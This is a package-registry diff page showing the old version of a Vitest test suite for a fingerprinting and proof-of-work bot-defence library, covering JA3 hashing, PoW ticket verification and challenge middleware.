@anonympins/fingerprint 0.4.2 → 0.4.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +38 -0
- package/README.md +70 -60
- package/package.json +1 -1
- package/src/js/fingerprint.client.js +831 -635
- package/src/js/fingerprint.js +249 -31
- package/src/js/pow.solver.js +531 -497
- package/src/js/problem-manager.js +24 -0
- package/src/js/tests/fingerprint.client.init.test.js +140 -119
- package/src/js/tests/fingerprint.test.js +2451 -2319
- package/src/js/tests/pow.solver.test.js +233 -197
- package/src/js/tests/problem-manager.test.js +358 -322
- package/src/php/Challenge/ChallengeUtils.php +415 -361
- package/src/php/Config/SecurityProfiles.php +276 -271
- package/src/php/FingerprintClient.php +131 -131
- package/src/php/FingerprintEngine.php +36 -2
- package/src/php/Optimization/FunctionRegistry.php +63 -62
- package/src/php/Optimization/OptimizationOperators.php +401 -304
- package/src/php/ProblemManager.php +29 -0
- package/src/php/RequestContext.php +90 -90
- package/src/php/Store/IStore.php +41 -41
- package/src/php/Store/RedisStore.php +53 -53
- package/src/php/Tests/FingerprintEngineTest.php +330 -299
- package/src/php/Tests/ProblemManagerTest.php +376 -296
- package/src/php/Tests/RequestUtilsTest.php +386 -253
- package/src/php/Tests/problems.config.json +3 -3
- package/src/php/Utils/RequestUtils.php +201 -17
|
@@ -1,2319 +1,2451 @@
|
|
|
1
|
-
import {afterEach, assert, beforeEach, describe, expect, it, test, vi} from 'vitest';
|
|
2
|
-
import {createHash, createHmac} from 'node:crypto';
|
|
3
|
-
import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
|
|
4
|
-
import {readFileSync} from 'node:fs';
|
|
5
|
-
import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
|
|
6
|
-
import * as dns from 'node:dns/promises';
|
|
7
|
-
import * as fingerprint from '../fingerprint.js';
|
|
8
|
-
|
|
9
|
-
// Mock import.meta.env before importing the module that uses it
|
|
10
|
-
vi.mock('import-meta-env', () => ({
|
|
11
|
-
env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
|
|
12
|
-
}));
|
|
13
|
-
// Mock readFileSync for custom challenge page tests
|
|
14
|
-
vi.mock('node:fs', async () => {
|
|
15
|
-
const actualFs = await vi.importActual('node:fs');
|
|
16
|
-
return { ...actualFs, readFileSync: vi.fn() };
|
|
17
|
-
});
|
|
18
|
-
|
|
19
|
-
const {
|
|
20
|
-
FingerprintEngine,
|
|
21
|
-
isTicketValid,
|
|
22
|
-
identifyRequest,
|
|
23
|
-
powMiddleware,
|
|
24
|
-
__internal,
|
|
25
|
-
configureStore,
|
|
26
|
-
getClientHintsInconsistencyScore,
|
|
27
|
-
verifyCpuTargetPoWAndGenerateTicket,
|
|
28
|
-
verifyMemoryPoW,
|
|
29
|
-
verifyTspChallenge,
|
|
30
|
-
startThresholdAutoTuning,
|
|
31
|
-
default_whitelist,
|
|
32
|
-
stopThresholdAutoTuning,
|
|
33
|
-
getCompositeDeviceHash,
|
|
34
|
-
} = fingerprint;
|
|
35
|
-
const { store, getRequestPatternScore, getDeviceHash } = __internal;
|
|
36
|
-
let { getBehaviorScore, getClickVarianceScore } = __internal;
|
|
37
|
-
// Mock the entire dns module
|
|
38
|
-
vi.mock('node:dns/promises');
|
|
39
|
-
|
|
40
|
-
describe('Fingerprint & PoW Security Suite', () => {
|
|
41
|
-
test('cyrb53 should be deterministic', () => {
|
|
42
|
-
const input = "test-string";
|
|
43
|
-
expect(cyrb53(input)).toBe(cyrb53(input));
|
|
44
|
-
expect(cyrb53("a")).not.toBe(cyrb53("b"));
|
|
45
|
-
});
|
|
46
|
-
|
|
47
|
-
describe('FingerprintBuilder', () => {
|
|
48
|
-
test('should handle null and undefined values gracefully', () => {
|
|
49
|
-
const builder = new FingerprintBuilder();
|
|
50
|
-
builder.add('key1', 'value1');
|
|
51
|
-
builder.add('key2', null);
|
|
52
|
-
builder.add('key3', undefined);
|
|
53
|
-
expect(builder.toString()).toBe('key1:6263243896157005');
|
|
54
|
-
});
|
|
55
|
-
|
|
56
|
-
test('comparison logic should handle various cases', () => {
|
|
57
|
-
const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
|
|
58
|
-
const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
|
|
59
|
-
const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
|
|
60
|
-
const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
|
|
61
|
-
|
|
62
|
-
expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
|
|
63
|
-
expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
|
|
64
|
-
expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
|
|
65
|
-
expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
|
|
66
|
-
expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
|
|
67
|
-
expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
|
|
68
|
-
});
|
|
69
|
-
});
|
|
70
|
-
|
|
71
|
-
describe('JA3 Fingerprinting', () => {
|
|
72
|
-
|
|
73
|
-
const mockClientHello = {
|
|
74
|
-
version: 'TLSv1.3',
|
|
75
|
-
ciphers: [4865, 4866],
|
|
76
|
-
extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
|
|
77
|
-
ellipticCurves: [29, 23, 24],
|
|
78
|
-
ellipticCurvePointFormats: [0],
|
|
79
|
-
};
|
|
80
|
-
|
|
81
|
-
afterEach(() => {
|
|
82
|
-
// Restore any spies after each test in this block
|
|
83
|
-
vi.restoreAllMocks();
|
|
84
|
-
});
|
|
85
|
-
|
|
86
|
-
test('should prioritize JA3 hash from x-ja3-hash header', async () => {
|
|
87
|
-
const context = {
|
|
88
|
-
headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
|
|
89
|
-
rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
|
|
90
|
-
};
|
|
91
|
-
// We test getTlsFingerprint directly to isolate the logic.
|
|
92
|
-
const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
|
|
93
|
-
expect(ja3).toBe('header-provided-ja3-hash');
|
|
94
|
-
});
|
|
95
|
-
|
|
96
|
-
test('should calculate JA3 hash from clientHello if header is missing', () => {
|
|
97
|
-
const context = {
|
|
98
|
-
headers: {},
|
|
99
|
-
rawReq: { socket: { clientHello: mockClientHello } }
|
|
100
|
-
};
|
|
101
|
-
const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
|
|
102
|
-
// We need to calculate the expected JA3 hash to verify it.
|
|
103
|
-
const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
|
|
104
|
-
const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
|
|
105
|
-
const expectedComponentHash = cyrb53(expectedJa3Md5);
|
|
106
|
-
|
|
107
|
-
const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
|
|
108
|
-
expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
|
|
109
|
-
expect(ja3).toBe(expectedJa3Md5);
|
|
110
|
-
});
|
|
111
|
-
|
|
112
|
-
test('should not include JA3 hash if no data is available', () => {
|
|
113
|
-
// Ensure getTlsFingerprint returns nulls for this specific test
|
|
114
|
-
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
|
|
115
|
-
|
|
116
|
-
const context = {
|
|
117
|
-
headers: {},
|
|
118
|
-
rawReq: { socket: {} } // No clientHello
|
|
119
|
-
};
|
|
120
|
-
const deviceHash = getCompositeDeviceHash(context);
|
|
121
|
-
expect(deviceHash).not.toContain('ja3:');
|
|
122
|
-
});
|
|
123
|
-
|
|
124
|
-
test('should handle missing rawReq or socket gracefully', () => {
|
|
125
|
-
// Ensure getTlsFingerprint returns nulls for this specific test
|
|
126
|
-
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
|
|
127
|
-
|
|
128
|
-
const context1 = { headers: {} }; // No rawReq
|
|
129
|
-
const context2 = { headers: {}, rawReq: {} }; // No socket
|
|
130
|
-
|
|
131
|
-
const deviceHash1 = getCompositeDeviceHash(context1);
|
|
132
|
-
const deviceHash2 = getCompositeDeviceHash(context2);
|
|
133
|
-
|
|
134
|
-
expect(deviceHash1).not.toContain('ja3:');
|
|
135
|
-
expect(deviceHash2).not.toContain('ja3:');
|
|
136
|
-
});
|
|
137
|
-
});
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
describe('CPU Target PoW Workflow', () => {
|
|
142
|
-
const ip = '127.0.0.1';
|
|
143
|
-
const nonce = 'test-nonce';
|
|
144
|
-
const suspicionFactor = 0.1; // Low suspicion for a quick test
|
|
145
|
-
const clientSecret = 'my-super-secret-client-key';
|
|
146
|
-
|
|
147
|
-
test('should solve and verify correctly without a clientSecret (fallback)', async () => {
|
|
148
|
-
const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
|
|
149
|
-
let solution = 0;
|
|
150
|
-
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
151
|
-
const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
|
|
152
|
-
while (true) {
|
|
153
|
-
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
154
|
-
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
155
|
-
if (BigInt('0x' + hash) < target) break;
|
|
156
|
-
solution++;
|
|
157
|
-
}
|
|
158
|
-
const challengeContext = { cpuTarget: target.toString(16), baseBlock };
|
|
159
|
-
|
|
160
|
-
const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
|
|
161
|
-
expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
|
|
162
|
-
expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
|
|
163
|
-
});
|
|
164
|
-
|
|
165
|
-
test('should solve and verify correctly WITH a clientSecret', async () => {
|
|
166
|
-
const securityConfig = { cpu: { minDifficultyBits: 4 } };
|
|
167
|
-
let solution = 0;
|
|
168
|
-
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
169
|
-
// Client-side simulation now includes the secret
|
|
170
|
-
const solverFingerprint = 'fp-with-secret';
|
|
171
|
-
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
|
|
172
|
-
|
|
173
|
-
while (true) {
|
|
174
|
-
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
175
|
-
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
176
|
-
if (BigInt('0x' + hash) < target) break;
|
|
177
|
-
solution++;
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
const challengeContext = { cpuTarget: target.toString(16), baseBlock };
|
|
181
|
-
|
|
182
|
-
// Server-side verification includes the secret
|
|
183
|
-
const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
|
|
184
|
-
expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
|
|
185
|
-
expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
|
|
186
|
-
expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
|
|
187
|
-
});
|
|
188
|
-
|
|
189
|
-
test('should solve a medium-difficulty challenge within a reasonable time', async () => {
|
|
190
|
-
const ip = '127.0.0.1';
|
|
191
|
-
const nonce = 'test-nonce-perf';
|
|
192
|
-
const suspicionFactor = 0.5; // "Niveau 2"
|
|
193
|
-
const clientSecret = 'perf-secret';
|
|
194
|
-
const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
|
|
195
|
-
|
|
196
|
-
// Calcule la cible comme le ferait le serveur
|
|
197
|
-
const target = __internal.calculateTarget(suspicionFactor, securityConfig);
|
|
198
|
-
const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
|
|
199
|
-
|
|
200
|
-
// Simule la résolution du challenge
|
|
201
|
-
let solution = 0;
|
|
202
|
-
while (true) {
|
|
203
|
-
const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
|
|
204
|
-
const hash = createHash('sha256').update(finalBlock).digest('hex');
|
|
205
|
-
if (BigInt('0x' + hash) < target) break;
|
|
206
|
-
solution++;
|
|
207
|
-
}
|
|
208
|
-
|
|
209
|
-
expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
|
|
210
|
-
}, 40000); // Timeout de 8 secondes pour ce test
|
|
211
|
-
});
|
|
212
|
-
|
|
213
|
-
test('PoW Ticket Expiration', async () => {
|
|
214
|
-
const ip = '127.0.0.1';
|
|
215
|
-
// Simulate an expired ticket by manipulating the string (for testing)
|
|
216
|
-
const expiredTimestamp = Date.now() - 1000;
|
|
217
|
-
const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
|
|
218
|
-
const ticket = `${expiredTimestamp}:${signature}`;
|
|
219
|
-
expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
|
|
220
|
-
});
|
|
221
|
-
|
|
222
|
-
describe('Memory PoW Verification', () => {
|
|
223
|
-
const nonce = 'test-nonce-mem';
|
|
224
|
-
const difficulty = 1; // 1MB for a quick test
|
|
225
|
-
const clientSecret = 'my-mem-secret';
|
|
226
|
-
|
|
227
|
-
const solveMemPoW = (seed, diff) => {
|
|
228
|
-
const size = diff * 1024 * 1024;
|
|
229
|
-
const buffer = new Uint32Array(size / 4);
|
|
230
|
-
let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
|
|
231
|
-
for (let i = 0; i < buffer.length; i++) {
|
|
232
|
-
buffer[i] = (h = Math.imul(h ^ i, 1597334677));
|
|
233
|
-
}
|
|
234
|
-
let clientSolution = 0;
|
|
235
|
-
const iterations = size / 16;
|
|
236
|
-
// Align the test solver with the actual implementation in fingerprint.js
|
|
237
|
-
// This uses a data-dependent memory access pattern, which is more secure.
|
|
238
|
-
let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
|
|
239
|
-
for (let i = 0; i < iterations; i++) {
|
|
240
|
-
addr = buffer[addr] % buffer.length;
|
|
241
|
-
clientSolution ^= addr;
|
|
242
|
-
}
|
|
243
|
-
return clientSolution;
|
|
244
|
-
};
|
|
245
|
-
|
|
246
|
-
test('should verify correctly without a clientSecret', () => {
|
|
247
|
-
const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
|
|
248
|
-
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
|
|
249
|
-
expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
|
|
250
|
-
});
|
|
251
|
-
|
|
252
|
-
test('should verify correctly WITH a clientSecret', () => {
|
|
253
|
-
const seed = `:${nonce}:${clientSecret}`;
|
|
254
|
-
const clientSolution = solveMemPoW(seed, difficulty);
|
|
255
|
-
|
|
256
|
-
// Server-side verification
|
|
257
|
-
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
|
|
258
|
-
expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
|
|
259
|
-
expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
|
|
260
|
-
});
|
|
261
|
-
});
|
|
262
|
-
|
|
263
|
-
test('TSP Challenge Verification', () => {
|
|
264
|
-
const nonce = 'test-nonce-tsp';
|
|
265
|
-
const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
|
|
266
|
-
const numCities = cities.length;
|
|
267
|
-
const targetMaxDistance = 350; // A reasonable target for this square
|
|
268
|
-
|
|
269
|
-
// A valid, optimal path for this square is [0, 2, 1, 3] or similar
|
|
270
|
-
const validSolution = JSON.stringify([0, 2, 1, 3]);
|
|
271
|
-
// An invalid path (not a permutation)
|
|
272
|
-
const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
|
|
273
|
-
// A valid path, but likely too long
|
|
274
|
-
const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
|
|
275
|
-
|
|
276
|
-
expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
|
|
277
|
-
expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
|
|
278
|
-
|
|
279
|
-
// This test assumes the simple path is longer than the target.
|
|
280
|
-
const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
|
|
281
|
-
if (isSuboptimalRejected) {
|
|
282
|
-
expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
|
|
283
|
-
}
|
|
284
|
-
});
|
|
285
|
-
|
|
286
|
-
describe('identifyRequest (for Rate Limiting)', () => {
|
|
287
|
-
const inMemoryStore = {
|
|
288
|
-
_map: new Map(),
|
|
289
|
-
get: async (key) => inMemoryStore._map.get(key),
|
|
290
|
-
set: async (key, value) => inMemoryStore._map.set(key, value),
|
|
291
|
-
has: async (key) => inMemoryStore._map.has(key),
|
|
292
|
-
delete: async (key) => inMemoryStore._map.delete(key),
|
|
293
|
-
};
|
|
294
|
-
const securityConfig = {
|
|
295
|
-
weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
|
|
296
|
-
thresholds: { low: 20, medium: 35, high: 75 }
|
|
297
|
-
};
|
|
298
|
-
let engine;
|
|
299
|
-
|
|
300
|
-
beforeEach(() => {
|
|
301
|
-
inMemoryStore._map.clear();
|
|
302
|
-
configureStore(inMemoryStore);
|
|
303
|
-
vi.restoreAllMocks(); // Restore mocks before each test
|
|
304
|
-
// Add a default mock for getTlsFingerprint to stabilize these tests
|
|
305
|
-
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
|
|
306
|
-
ja3: 'mock-ja3', ja4: 'mock-ja4'
|
|
307
|
-
});
|
|
308
|
-
engine = new FingerprintEngine(securityConfig);
|
|
309
|
-
});
|
|
310
|
-
|
|
311
|
-
test('should return a device-specific key for a normal request', async () => {
|
|
312
|
-
const requestContext = {
|
|
313
|
-
clientIp: '127.0.0.1',
|
|
314
|
-
cookies: {},
|
|
315
|
-
headers: { // Minimal headers
|
|
316
|
-
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
317
|
-
'accept-language': 'en-US,en;q=0.9',
|
|
318
|
-
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
|
|
319
|
-
},
|
|
320
|
-
rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
|
|
321
|
-
httpVersion: '1.1',
|
|
322
|
-
query: new URLSearchParams() };
|
|
323
|
-
const key = await engine.identifyRequest(requestContext);
|
|
324
|
-
expect(key).toMatch(/^device:/);
|
|
325
|
-
});
|
|
326
|
-
|
|
327
|
-
test('should return a suspicion-based key for a highly suspicious request', async () => {
|
|
328
|
-
// This context simulates a request from a simple script (e.g., curl) with missing headers.
|
|
329
|
-
const requestContext = {
|
|
330
|
-
clientIp: '127.0.0.1',
|
|
331
|
-
cookies: {},
|
|
332
|
-
headers: {}, // Simulate completely missing headers
|
|
333
|
-
rawHeaders: [],
|
|
334
|
-
httpVersion: '1.1',
|
|
335
|
-
query: new URLSearchParams()
|
|
336
|
-
};
|
|
337
|
-
const key = await engine.identifyRequest(requestContext);
|
|
338
|
-
// Missing accept/accept-language headers should trigger a medium suspicion score.
|
|
339
|
-
expect(key).toBe('suspicious_medium:127.0.0.1');
|
|
340
|
-
});
|
|
341
|
-
});
|
|
342
|
-
|
|
343
|
-
test('getDeviceHash should prioritize client-side fingerprint header', async () => {
|
|
344
|
-
// 1. Spy on the getDeviceHash function from its actual module
|
|
345
|
-
const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
|
|
346
|
-
|
|
347
|
-
// 2. Simulate a request context with the special header
|
|
348
|
-
const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
|
|
349
|
-
const requestContext = {
|
|
350
|
-
headers: {
|
|
351
|
-
'user-agent': 'A regular user agent',
|
|
352
|
-
'x-device-fingerprint': clientSideFingerprint,
|
|
353
|
-
},
|
|
354
|
-
// ... other context properties
|
|
355
|
-
};
|
|
356
|
-
|
|
357
|
-
// 3. Call the function and assert it returns the client-side FP
|
|
358
|
-
const result = fingerprint.getDeviceHash(requestContext);
|
|
359
|
-
|
|
360
|
-
expect(result).toBe(clientSideFingerprint);
|
|
361
|
-
expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
|
|
362
|
-
});
|
|
363
|
-
|
|
364
|
-
describe('powMiddleware', () => {
|
|
365
|
-
// Mock store for tests
|
|
366
|
-
const inMemoryStore = {
|
|
367
|
-
_map: new Map(),
|
|
368
|
-
async get(key) { return this._map.get(key); },
|
|
369
|
-
async set(key, value) { this._map.set(key, value); },
|
|
370
|
-
async has(key) { return this._map.has(key); },
|
|
371
|
-
async delete(key) { this._map.delete(key); },
|
|
372
|
-
};
|
|
373
|
-
beforeEach(() => {
|
|
374
|
-
inMemoryStore._map.clear();
|
|
375
|
-
configureStore(inMemoryStore);
|
|
376
|
-
});
|
|
377
|
-
|
|
378
|
-
// Détecte si on est dans un environnement de CI/CD
|
|
379
|
-
const isCI = !!process.env.CI;
|
|
380
|
-
|
|
381
|
-
// Configuration de base pour les tests
|
|
382
|
-
let securityConfig = {
|
|
383
|
-
// Adjust weights to be more realistic and less aggressive for testing.
|
|
384
|
-
// This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
|
|
385
|
-
weights: {
|
|
386
|
-
historyScore: 0.3,
|
|
387
|
-
rotationScore: 0.2,
|
|
388
|
-
headerAnomalyScore: 0.1,
|
|
389
|
-
inconsistencyScore: 0.2,
|
|
390
|
-
requestPatternScore: 0.2,
|
|
391
|
-
honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
|
|
392
|
-
},
|
|
393
|
-
thresholds: { low: 20, medium: 45, high: 75 },
|
|
394
|
-
// NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
|
|
395
|
-
// C'est cette option qui permet à la logique de s'exécuter.
|
|
396
|
-
challengeNewDevices: true,
|
|
397
|
-
};
|
|
398
|
-
// For this specific test, we need to disable the new device challenge
|
|
399
|
-
// to ensure a truly non-suspicious request passes without a challenge.
|
|
400
|
-
const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
// Si on est en CI, on surcharge la configuration pour abaisser la difficulté
|
|
404
|
-
if (isCI) {
|
|
405
|
-
console.log('[CI Mode] Using low-difficulty configuration for tests.');
|
|
406
|
-
securityConfig = {
|
|
407
|
-
...securityConfig,
|
|
408
|
-
cpu: {
|
|
409
|
-
minDifficultyBits: 1, // Difficulté CPU minimale
|
|
410
|
-
maxDifficultyBits: 2, // Difficulté CPU maximale très faible
|
|
411
|
-
}
|
|
412
|
-
};
|
|
413
|
-
}
|
|
414
|
-
|
|
415
|
-
afterEach(() => {
|
|
416
|
-
vi.restoreAllMocks();
|
|
417
|
-
});
|
|
418
|
-
|
|
419
|
-
test('should call next() for a non-suspicious request', async () => {
|
|
420
|
-
// Simuler un appareil connu et non suspect
|
|
421
|
-
const deviceId = 'known-device-123';
|
|
422
|
-
await inMemoryStore.set(`device:${deviceId}`, {
|
|
423
|
-
initialDeviceHash: 'some-hash',
|
|
424
|
-
ips: new Set(['127.0.0.1']),
|
|
425
|
-
lastUpdate: Date.now(),
|
|
426
|
-
lastFpHash: 'some-hash',
|
|
427
|
-
lastChangeTimestamp: 0,
|
|
428
|
-
rapidChangeCount: 0,
|
|
429
|
-
});
|
|
430
|
-
|
|
431
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
432
|
-
historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
433
|
-
});
|
|
434
|
-
|
|
435
|
-
const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
|
|
436
|
-
const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
|
|
437
|
-
const next = vi.fn();
|
|
438
|
-
|
|
439
|
-
const middleware = powMiddleware(nonSuspiciousConfig);
|
|
440
|
-
await middleware(req, res, next);
|
|
441
|
-
|
|
442
|
-
expect(next, 'next() should have been called').toHaveBeenCalled();
|
|
443
|
-
// Pour un appareil connu, le cookie ne doit pas être redéfini
|
|
444
|
-
expect(res.cookie).not.toHaveBeenCalled();
|
|
445
|
-
});
|
|
446
|
-
|
|
447
|
-
test('should issue a minimal challenge for a new, non-suspicious device', async () => {
|
|
448
|
-
// 1. Simuler un score de suspicion de 0.
|
|
449
|
-
// A new device should have a score of at least 1 to trigger the initial challenge.
|
|
450
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
451
|
-
historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
|
|
452
|
-
});
|
|
453
|
-
|
|
454
|
-
// 2. Simuler une nouvelle requête (pas de cookie device_id)
|
|
455
|
-
const req = {
|
|
456
|
-
path: '/', ip: '127.0.0.1', cookies: {}, query: {},
|
|
457
|
-
headers: { 'user-agent': 'A normal browser' },
|
|
458
|
-
rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
|
|
459
|
-
};
|
|
460
|
-
let sentStatus, sentBody;
|
|
461
|
-
const res = {
|
|
462
|
-
status: (s) => { sentStatus = s; return res; },
|
|
463
|
-
send: (b) => { sentBody = b; },
|
|
464
|
-
cookie: vi.fn()
|
|
465
|
-
};
|
|
466
|
-
const next = vi.fn();
|
|
467
|
-
|
|
468
|
-
await powMiddleware(securityConfig)(req, res, next);
|
|
469
|
-
|
|
470
|
-
// 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
|
|
471
|
-
expect(sentStatus).toBe(404);
|
|
472
|
-
expect(sentBody).toContain('Enhanced Verification');
|
|
473
|
-
expect(next).not.toHaveBeenCalled();
|
|
474
|
-
});
|
|
475
|
-
|
|
476
|
-
test('should issue a challenge for a suspicious request', async () => {
|
|
477
|
-
const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
|
|
478
|
-
// The securityConfig is passed as the second argument
|
|
479
|
-
expect(securityConfig).toBeDefined();
|
|
480
|
-
return {
|
|
481
|
-
historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
482
|
-
};
|
|
483
|
-
});
|
|
484
|
-
|
|
485
|
-
const req = {
|
|
486
|
-
path: '/',
|
|
487
|
-
ip: '127.0.0.1',
|
|
488
|
-
cookies: {},
|
|
489
|
-
query: {},
|
|
490
|
-
headers: { 'user-agent': 'test-ua' },
|
|
491
|
-
rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
|
|
492
|
-
let sentStatus, sentBody;
|
|
493
|
-
const res = {
|
|
494
|
-
status: (s) => { sentStatus = s; return res; },
|
|
495
|
-
send: (b) => { sentBody = b; },
|
|
496
|
-
cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
|
|
497
|
-
};
|
|
498
|
-
const next = vi.fn(() => { throw new Error('next() should not be called'); });
|
|
499
|
-
|
|
500
|
-
req.fingerprint = {};
|
|
501
|
-
const middleware = powMiddleware(securityConfig);
|
|
502
|
-
await middleware(req, res, next);
|
|
503
|
-
|
|
504
|
-
assert.strictEqual(sentStatus, 404, 'Status should be 404');
|
|
505
|
-
assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
|
|
506
|
-
assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
|
|
507
|
-
});
|
|
508
|
-
|
|
509
|
-
test('should issue a Memory challenge for a medium-suspicious request', async () => {
|
|
510
|
-
vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
|
|
511
|
-
return {
|
|
512
|
-
historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
|
|
513
|
-
};
|
|
514
|
-
});
|
|
515
|
-
|
|
516
|
-
